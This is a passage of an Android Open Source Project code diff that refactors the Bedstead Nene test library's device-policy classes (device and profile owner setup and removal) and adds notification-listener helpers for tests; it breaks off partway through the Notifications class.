-import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.os.Build.VERSION.SDK_INT;
 
 import static com.android.bedstead.nene.permissions.Permissions.MANAGE_DEVICE_ADMINS;
@@ -30,7 +30,6 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.Build;
-import android.provider.Settings;
 import android.util.Log;
 
 import androidx.annotation.Nullable;
@@ -40,9 +39,8 @@
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
@@ -62,23 +60,19 @@
  */
 public final class DevicePolicy {
 
+    public static final DevicePolicy sInstance = new DevicePolicy();
+
     private static final String LOG_TAG = "DevicePolicy";
 
     private static final String USER_SETUP_COMPLETE_KEY = "user_setup_complete";
 
-    private final TestApis mTestApis;
     private final AdbDevicePolicyParser mParser;
 
     private DeviceOwner mCachedDeviceOwner;
     private Map<UserReference, ProfileOwner> mCachedProfileOwners;
 
-    public DevicePolicy(TestApis testApis) {
-        if (testApis == null) {
-            throw new NullPointerException();
-        }
-
-        mTestApis = testApis;
-        mParser = AdbDevicePolicyParser.get(mTestApis, SDK_INT);
+    private DevicePolicy() {
+        mParser = AdbDevicePolicyParser.get(SDK_INT);
     }
 
     /**
@@ -100,9 +94,10 @@
         retryIfNotTerminal(
                 () -> command.executeOrThrowNeneException("Could not set profile owner for user "
                         + user + " component " + profileOwnerComponent),
-                () -> checkForTerminalProfileOwnerFailures(user, profileOwnerComponent));
-        return new ProfileOwner(mTestApis, user,
-                mTestApis.packages().find(
+                () -> checkForTerminalProfileOwnerFailures(user, profileOwnerComponent),
+                NeneException.class);
+        return new ProfileOwner(user,
+                TestApis.packages().find(
                         profileOwnerComponent.getPackageName()), profileOwnerComponent);
     }
 
@@ -118,9 +113,9 @@
                             + " as a profile owner is already set: " + profileOwner);
         }
 
-        PackageReference pkg = mTestApis.packages().find(
+        Package pkg = TestApis.packages().find(
                 profileOwnerComponent.getPackageName());
-        if (!mTestApis.packages().installedForUser(user).contains(pkg)) {
+        if (!TestApis.packages().installedForUser(user).contains(pkg)) {
             throw new NeneException(
                     "Could not set profile owner for user " + user
                             + " as the package " + pkg + " is not installed");
@@ -133,6 +128,13 @@
     }
 
     /**
+     * Get the profile owner for the instrumented user..
+     */
+    public ProfileOwner getProfileOwner() {
+        return getProfileOwner(TestApis.users().instrumented());
+    }
+
+    /**
      * Get the profile owner for a given {@link UserReference}.
      */
     public ProfileOwner getProfileOwner(UserReference user) {
@@ -146,28 +148,30 @@
     /**
      * Set the device owner.
      */
-    public DeviceOwner setDeviceOwner(UserReference user, ComponentName deviceOwnerComponent) {
-        if (user == null || deviceOwnerComponent == null) {
+    public DeviceOwner setDeviceOwner(ComponentName deviceOwnerComponent) {
+        if (deviceOwnerComponent == null) {
             throw new NullPointerException();
         }
 
         if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
-            return setDeviceOwnerPreS(user, deviceOwnerComponent);
+            return setDeviceOwnerPreS(deviceOwnerComponent);
         }
 
         DevicePolicyManager devicePolicyManager =
-                mTestApis.context().instrumentedContext()
+                TestApis.context().instrumentedContext()
                         .getSystemService(DevicePolicyManager.class);
+        UserReference user = TestApis.users().system();
 
-        boolean userSetupComplete = getUserSetupComplete();
+        boolean dpmUserSetupComplete = getUserSetupComplete(user);
+        Boolean currentUserSetupComplete = null;
 
         try {
-            setUserSetupComplete(false);
+            setUserSetupComplete(user, false);
 
             try (PermissionContext p =
-                         mTestApis.permissions().withPermission(
+                         TestApis.permissions().withPermission(
                                  MANAGE_PROFILE_AND_DEVICE_OWNERS, MANAGE_DEVICE_ADMINS,
-                                 INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS)) {
+                                 INTERACT_ACROSS_USERS_FULL, INTERACT_ACROSS_USERS, CREATE_USERS)) {
                 devicePolicyManager.setActiveAdmin(deviceOwnerComponent,
                         /* refreshing= */ true, user.id());
 
@@ -175,20 +179,55 @@
                 //  we retry because if the DO/PO was recently removed, it can take some time
                 //  to be allowed to set it again
                 retryIfNotTerminal(
-                        () -> devicePolicyManager.setDeviceOwner(
+                        () -> setDeviceOwnerOnly(devicePolicyManager,
                                 deviceOwnerComponent, "Nene", user.id()),
                         () -> checkForTerminalDeviceOwnerFailures(
-                                user, deviceOwnerComponent, /* allowAdditionalUsers= */ true));
+                                user, deviceOwnerComponent, /* allowAdditionalUsers= */ true),
+                        NeneException.class);
             } catch (IllegalArgumentException | IllegalStateException | SecurityException e) {
                 throw new NeneException("Error setting device owner", e);
             }
         } finally {
-            setUserSetupComplete(userSetupComplete);
+            setUserSetupComplete(user, dpmUserSetupComplete);
+            if (currentUserSetupComplete != null) {
+                setUserSetupComplete(TestApis.users().current(), currentUserSetupComplete);
+            }
         }
 
-        return new DeviceOwner(mTestApis, user,
-                mTestApis.packages().find(
-                        deviceOwnerComponent.getPackageName()), deviceOwnerComponent);
+        Package deviceOwnerPackage = TestApis.packages().find(
+                deviceOwnerComponent.getPackageName());
+
+        return new DeviceOwner(user, deviceOwnerPackage, deviceOwnerComponent);
+    }
+
+    /**
+     * Set Device Owner without changing any other device state.
+     *
+     * <p>This is used instead of {@link DevicePolicyManager#setDeviceOwner(ComponentName)} directly
+     * because on S_V2 and above, that method can also set profile owners and install packages in
+     * some circumstances.
+     */
+    private void setDeviceOwnerOnly(DevicePolicyManager devicePolicyManager,
+            ComponentName component, String name, int deviceOwnerUserId) {
+        if (Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S_V2)) {
+            devicePolicyManager.setDeviceOwnerOnly(component, name, deviceOwnerUserId);
+        } else {
+            devicePolicyManager.setDeviceOwner(component, name, deviceOwnerUserId);
+        }
+    }
+
+    /**
+     * Resets organization ID via @TestApi.
+     * @param user whose organization ID to clear
+     */
+    public void clearOrganizationId(UserReference user) {
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)) {
+            DevicePolicyManager devicePolicyManager =
+                    TestApis.context().instrumentedContextAsUser(user)
+                            .getSystemService(DevicePolicyManager.class);
+            devicePolicyManager.clearOrganizationId();
+        }
     }
 
     /**
@@ -212,7 +251,7 @@
             terminalCheck.run();
 
             try {
-                PollingCheck.waitFor(30_000, () -> {
+                PollingCheck.waitFor(() -> {
                     try {
                         operation.run();
                         return true;
@@ -230,32 +269,32 @@
     }
 
 
-    private void setUserSetupComplete(boolean complete) {
+    private void setUserSetupComplete(UserReference user, boolean complete) {
         DevicePolicyManager devicePolicyManager =
-                mTestApis.context().instrumentedContext()
+                TestApis.context().androidContextAsUser(user)
                         .getSystemService(DevicePolicyManager.class);
-        try (PermissionContext p = mTestApis.permissions().withPermission(
-                WRITE_SECURE_SETTINGS, MANAGE_PROFILE_AND_DEVICE_OWNERS,
-                INTERACT_ACROSS_USERS_FULL)) {
-            Settings.Secure.putInt(mTestApis.context().androidContextAsUser(
-                    mTestApis.users().system()).getContentResolver(),
-                    USER_SETUP_COMPLETE_KEY, complete ? 1 : 0);
-            devicePolicyManager.forceUpdateUserSetupComplete(mTestApis.users().system().id());
+        TestApis.settings().secure().putInt(user, USER_SETUP_COMPLETE_KEY, complete ? 1 : 0);
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)) {
+            devicePolicyManager.forceUpdateUserSetupComplete(user.id());
         }
     }
 
-    private boolean getUserSetupComplete() {
-        return Settings.Secure.getInt(
-                mTestApis.context().instrumentedContext().getContentResolver(),
-                USER_SETUP_COMPLETE_KEY, /* def= */ 0) == 1;
+    private boolean getUserSetupComplete(UserReference user) {
+        try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+            return
+                    TestApis.settings().secure()
+                            .getInt(user, USER_SETUP_COMPLETE_KEY, /* def= */ 0) == 1;
+        }
     }
 
-    private DeviceOwner setDeviceOwnerPreS(UserReference user, ComponentName deviceOwnerComponent) {
+    private DeviceOwner setDeviceOwnerPreS(ComponentName deviceOwnerComponent) {
+        UserReference user = TestApis.users().system();
+
         ShellCommand.Builder command = ShellCommand.builderForUser(
                 user, "dpm set-device-owner")
                 .addOperand(deviceOwnerComponent.flattenToShortString())
                 .validate(ShellCommandUtils::startsWithSuccess);
-
         // TODO(b/187925230): If it fails, we check for terminal failure states - and if not
         //  we retry because if the device owner was recently removed, it can take some time
         //  to be allowed to set it again
@@ -265,8 +304,8 @@
                 () -> checkForTerminalDeviceOwnerFailures(
                     user, deviceOwnerComponent, /* allowAdditionalUsers= */ false));
 
-        return new DeviceOwner(mTestApis, user,
-                mTestApis.packages().find(
+        return new DeviceOwner(user,
+                TestApis.packages().find(
                         deviceOwnerComponent.getPackageName()), deviceOwnerComponent);
     }
 
@@ -282,9 +321,9 @@
                             + " as a device owner is already set: " + deviceOwner);
         }
 
-        PackageReference pkg = mTestApis.packages().find(
+        Package pkg = TestApis.packages().find(
                 deviceOwnerComponent.getPackageName());
-        if (!mTestApis.packages().installedForUser(user).contains(pkg)) {
+        if (!TestApis.packages().installedForUser(user).contains(pkg)) {
             throw new NeneException(
                     "Could not set device owner for user " + user
                             + " as the package " + pkg + " is not installed");
@@ -296,7 +335,7 @@
         }
 
         if (!allowAdditionalUsers) {
-            Collection<User> users = mTestApis.users().all();
+            Collection<UserReference> users = TestApis.users().all();
 
             if (users.size() > 1) {
                 throw new NeneException("Could not set device owner for user "
@@ -309,12 +348,12 @@
 
     private boolean componentCanBeSetAsDeviceAdmin(ComponentName component, UserReference user) {
         PackageManager packageManager =
-                mTestApis.context().instrumentedContext().getPackageManager();
+                TestApis.context().instrumentedContext().getPackageManager();
         Intent intent = new Intent("android.app.action.DEVICE_ADMIN_ENABLED");
         intent.setComponent(component);
 
         try (PermissionContext p =
-                     mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                     TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
             List<ResolveInfo> r =
                     packageManager.queryBroadcastReceiversAsUser(
                             intent, /* flags= */ 0, user.userHandle());
@@ -342,6 +381,7 @@
 
                 mCachedDeviceOwner = result.mDeviceOwner;
                 mCachedProfileOwners = result.mProfileOwners;
+
                 return;
             } catch (AdbParseException e) {
                 if (e.adbOutput().contains("DUMP TIMEOUT") && retries-- > 0) {
@@ -359,8 +399,8 @@
     /** See {@link android.app.admin.DevicePolicyManager#getPolicyExemptApps()}. */
     @Experimental
     public Set<String> getPolicyExemptApps() {
-        try (PermissionContext p = mTestApis.permissions().withPermission(MANAGE_DEVICE_ADMINS)) {
-            return mTestApis.context()
+        try (PermissionContext p = TestApis.permissions().withPermission(MANAGE_DEVICE_ADMINS)) {
+            return TestApis.context()
                     .instrumentedContext()
                     .getSystemService(DevicePolicyManager.class)
                     .getPolicyExemptApps();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java
index 059712f..778e50a 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicyController.java
@@ -19,8 +19,7 @@
 import android.app.admin.DeviceAdminReceiver;
 import android.content.ComponentName;
 
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.users.UserReference;
 
 import java.util.Objects;
@@ -30,18 +29,15 @@
  */
 public abstract class DevicePolicyController implements AutoCloseable {
 
-    protected final TestApis mTestApis;
     protected final UserReference mUser;
-    protected final PackageReference mPackage;
+    protected final Package mPackage;
     protected final ComponentName mComponentName;
 
-    DevicePolicyController(TestApis testApis,
-            UserReference user, PackageReference pkg, ComponentName componentName) {
-        if (testApis == null || user == null || pkg == null || componentName == null) {
+    DevicePolicyController(UserReference user, Package pkg, ComponentName componentName) {
+        if (user == null || pkg == null || componentName == null) {
             throw new NullPointerException();
         }
 
-        mTestApis = testApis;
         mUser = user;
         mPackage = pkg;
         mComponentName = componentName;
@@ -55,9 +51,9 @@
     }
 
     /**
-     * Get the {@link PackageReference} of the device policy controller.
+     * Get the {@link Package} of the device policy controller.
      */
-    public PackageReference pkg() {
+    public Package pkg() {
         return mPackage;
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
index 6074421..e475d25 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
@@ -16,15 +16,21 @@
 
 package com.android.bedstead.nene.devicepolicy;
 
+import static com.android.bedstead.nene.permissions.Permissions.MANAGE_PROFILE_AND_DEVICE_OWNERS;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
+import android.os.Build;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.util.Objects;
 
@@ -33,17 +39,31 @@
  */
 public final class ProfileOwner extends DevicePolicyController {
 
-    ProfileOwner(TestApis testApis,
-            UserReference user,
-            PackageReference pkg,
+    ProfileOwner(UserReference user,
+            Package pkg,
             ComponentName componentName) {
-        super(testApis, user, pkg, componentName);
+        super(user, pkg, componentName);
     }
 
     @Override
     public void remove() {
-        // TODO(scottjonathan): use DevicePolicyManager#forceRemoveActiveAdmin on S+
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)
+                || TestApis.packages().instrumented().isInstantApp()) {
+            removePreS();
+            return;
+        }
 
+        DevicePolicyManager devicePolicyManager =
+                TestApis.context().androidContextAsUser(mUser).getSystemService(
+                        DevicePolicyManager.class);
+
+        try (PermissionContext p =
+                     TestApis.permissions().withPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)) {
+            devicePolicyManager.forceRemoveActiveAdmin(mComponentName, mUser.id());
+        }
+    }
+
+    private void removePreS() {
         try {
             ShellCommand.builderForUser(mUser, "dpm remove-active-admin")
                     .addOperand(componentName().flattenToShortString())
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
index bbb6aeb..4b212fe 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
@@ -23,6 +23,10 @@
  * expected that exceptional behaviour should just result in a failed test.
  */
 public class NeneException extends RuntimeException {
+    public NeneException(Throwable cause) {
+        super(cause);
+    }
+
     public NeneException(String message) {
         super(message);
     }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/PollValueFailedException.java
similarity index 62%
rename from common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
rename to common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/PollValueFailedException.java
index d314565..c1c6285 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/UnresolvedPackage.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/PollValueFailedException.java
@@ -14,16 +14,17 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.nene.packages;
-
-import com.android.bedstead.nene.TestApis;
+package com.android.bedstead.nene.exceptions;
 
 /**
- * Default implementation of {@link PackageReference} used when we haven't fetched information from
- * the device.
+ * Exception thrown when polling fails to reach the expected value.
  */
-public final class UnresolvedPackage extends PackageReference {
-    UnresolvedPackage(TestApis testApis, String packageName) {
-        super(testApis, packageName);
+public class PollValueFailedException extends NeneException {
+    public PollValueFailedException(String message) {
+        super(message);
+    }
+
+    public PollValueFailedException(String message, Throwable throwable) {
+        super(message, throwable);
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NeneNotificationListenerService.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NeneNotificationListenerService.java
new file mode 100644
index 0000000..b0dafc6
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NeneNotificationListenerService.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * {@link NotificationListenerService} for use with Nene.
+ *
+ * <p>To access this use {@link TestApis#notifications()}.
+ */
+public final class NeneNotificationListenerService extends NotificationListenerService {
+
+    private static final String TAG = "NeneNotificationListenerService";
+
+    private static AtomicReference<NeneNotificationListenerService> sInstance =
+            new AtomicReference<>();
+    private static CountDownLatch sConnectedLatch = new CountDownLatch(1);
+
+    @Override
+    public void onListenerConnected() {
+        Log.d(TAG, "Listener connected");
+        sInstance.set(this);
+        sConnectedLatch.countDown();
+    }
+
+    @Override
+    public void onListenerDisconnected() {
+        Log.d(TAG, "Listener disconnected");
+        sInstance.set(null);
+        sConnectedLatch = new CountDownLatch(1);
+    }
+
+    @Override
+    public void onNotificationPosted(StatusBarNotification sbn) {
+        Notifications.sInstance.onNotificationPosted(sbn);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListener.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListener.java
new file mode 100644
index 0000000..d740bac
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListener.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import android.service.notification.StatusBarNotification;
+
+import androidx.annotation.Nullable;
+
+import java.time.Duration;
+import java.util.ArrayDeque;
+import java.util.Deque;
+
+/**
+ * Registered notification listener for receiving notifications on device.
+ */
+public final class NotificationListener implements AutoCloseable {
+
+    private final Notifications mNotifications;
+
+    private final Deque<StatusBarNotification> mStatusBarNotifications =
+            new ArrayDeque<>();
+
+    NotificationListener(Notifications notifications) {
+        mNotifications = notifications;
+    }
+
+    @Override
+    public void close() {
+        mNotifications.removeListener(this);
+    }
+
+    /**
+     * Query received notifications.
+     */
+    public NotificationListenerQuery query() {
+        return new NotificationListenerQuery(mStatusBarNotifications);
+    }
+
+    /**
+     * Poll for received notifications.
+     */
+    public @Nullable StatusBarNotification poll() {
+        return query().poll();
+    }
+
+    /**
+     * Poll for received notifications within {@link Duration}.
+     */
+    public @Nullable StatusBarNotification poll(Duration duration) {
+        return query().poll(duration);
+    }
+
+    void onNotificationPosted(StatusBarNotification sbn) {
+        mStatusBarNotifications.addLast(sbn);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuery.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuery.java
new file mode 100644
index 0000000..ef1176b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuery.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import android.service.notification.StatusBarNotification;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.queryable.Queryable;
+import com.android.queryable.queries.NotificationQuery;
+import com.android.queryable.queries.NotificationQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.Deque;
+
+/** Query for notifications. */
+public final class NotificationListenerQuery implements Queryable {
+
+    private final StringQueryHelper<NotificationListenerQuery> mPackageName =
+            new StringQueryHelper<>(this);
+    private final NotificationQueryHelper<NotificationListenerQuery> mNotification =
+            new NotificationQueryHelper<>(this);
+
+    private boolean mHasStartedFetchingResults = false;
+    private final Deque<StatusBarNotification> mStatusBarNotifications;
+    private int mSkippedPollResults = 0;
+
+    NotificationListenerQuery(Deque<StatusBarNotification> statusBarNotifications) {
+        mStatusBarNotifications = statusBarNotifications;
+    }
+
+    /** Query by package name. */
+    public StringQuery<NotificationListenerQuery> wherePackageName() {
+        if (mHasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mPackageName;
+    }
+
+    /** Query by notification content. */
+    public NotificationQuery<NotificationListenerQuery> whereNotification() {
+        if (mHasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mNotification;
+    }
+
+    /** Poll for matching notifications. */
+    public StatusBarNotification poll() {
+        return poll(Duration.ofSeconds(30));
+    }
+
+    /** Poll for matching notifications. */
+    public StatusBarNotification poll(Duration timeout) {
+        mHasStartedFetchingResults = true;
+        Instant endTime = Instant.now().plus(timeout);
+
+        while (Instant.now().isBefore(endTime)) {
+            StatusBarNotification nextResult = get(mSkippedPollResults);
+            if (nextResult != null) {
+                mSkippedPollResults++;
+                return nextResult;
+            }
+
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+                throw new NeneException("Interrupted while polling", e);
+            }
+        }
+
+        return null;
+    }
+
+    private StatusBarNotification get(int skipResults) {
+        mHasStartedFetchingResults = true;
+        for (StatusBarNotification m : mStatusBarNotifications) {
+            if (matches(m)) {
+                skipResults -= 1;
+                if (skipResults < 0) {
+                    return m;
+                }
+            }
+        }
+
+        return null;
+    }
+
+    private boolean matches(StatusBarNotification sbn) {
+        return StringQueryHelper.matches(mPackageName, sbn.getPackageName())
+                && NotificationQueryHelper.matches(mNotification, sbn.getNotification());
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return "{" + Queryable.joinQueryStrings(
+                mPackageName.describeQuery("packageName"),
+                mNotification.describeQuery("notification")
+        ) + "}";
+    }
+
+    @Override
+    public String toString() {
+        return describeQuery("");
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuerySubject.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuerySubject.java
new file mode 100644
index 0000000..b7d386a
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/NotificationListenerQuerySubject.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import static com.google.common.truth.Truth.assertAbout;
+
+import androidx.annotation.Nullable;
+
+import com.google.common.truth.Fact;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+
+/** {@link Subject} for {@link NotificationListenerQuery}. */
+public final class NotificationListenerQuerySubject extends Subject {
+
+    @Nullable
+    private final NotificationListenerQuery mActual;
+
+    private NotificationListenerQuerySubject(FailureMetadata metadata,
+            @Nullable NotificationListenerQuery actual) {
+        super(metadata, actual);
+        this.mActual = actual;
+    }
+
+    /**
+     * Assertions about {@link NotificationListenerQuery}.
+     */
+    public static Factory<NotificationListenerQuerySubject, NotificationListenerQuery> notificationListenerQuery() {
+        return NotificationListenerQuerySubject::new;
+    }
+
+    /**
+     * Assertions about {@link NotificationListenerQuery}.
+     */
+    public static NotificationListenerQuerySubject assertThat(
+            @Nullable NotificationListenerQuery actual) {
+        return assertAbout(notificationListenerQuery()).that(actual);
+    }
+
+    /**
+     * Asserts that a notification was posted (that {@link NotificationListenerQuery#poll()} returns
+     * non-null).
+     */
+    public void wasPosted() {
+        if (mActual.poll() == null) {
+            // TODO(b/197315353): Add non-matching notifications
+            failWithoutActual(
+                    Fact.simpleFact("Expected notification to have been posted matching: "
+                            + mActual + " but it was not posted."));
+        }
+    }
+
+    /**
+     * Asserts that a notification was posted (that {@link NotificationListenerQuery#poll(Duration)}
+     * returns non-null).
+     */
+    public void wasPostedWithin(Duration timeout) {
+        if (mActual.poll(timeout) == null) {
+            // TODO(b/197315353): Add non-matching notifications
+            failWithoutActual(Fact.simpleFact("Expected notification to have been posted matching: "
+                    + mActual + " but it was not posted."));
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/Notifications.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/Notifications.java
new file mode 100644
index 0000000..4be3ba4
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/notifications/Notifications.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import static android.Manifest.permission.MANAGE_NOTIFICATION_LISTENERS;
+
+import static com.android.bedstead.nene.utils.Tags.USES_DEVICESTATE;
+
+import android.app.NotificationManager;
+import android.content.ComponentName;
+import android.os.Build;
+import android.service.notification.StatusBarNotification;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.ComponentReference;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.Tags;
+import com.android.bedstead.nene.utils.Versions;
+
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+/** Helper methods related to notifications. */
+public final class Notifications {
+    public static final Notifications sInstance = new Notifications();
+
+    private final Set<NotificationListener> mRegisteredListeners =
+            Collections.newSetFromMap(new ConcurrentHashMap<>());
+    private boolean mListenerAccessIsGranted;
+
+    static final ComponentReference LISTENER_COMPONENT = TestApis.packages().component(
+            new ComponentName(
+                    TestApis.context().instrumentedContext().getPackageName(),
+                    NeneNotificationListenerService.class.getCanonicalName())
+    );
+
+    private Notifications() {
+
+    }
+
+    /**
+     * Creates a {@link NotificationListener}.
+     *
+     * <p>This is required before interacting with notifications in any way. It is recommended that
+     * you do this in a try() block so that the {@link NotificationListener} closes when you are
+     * finished with it.
+     */
+    public NotificationListener createListener() {
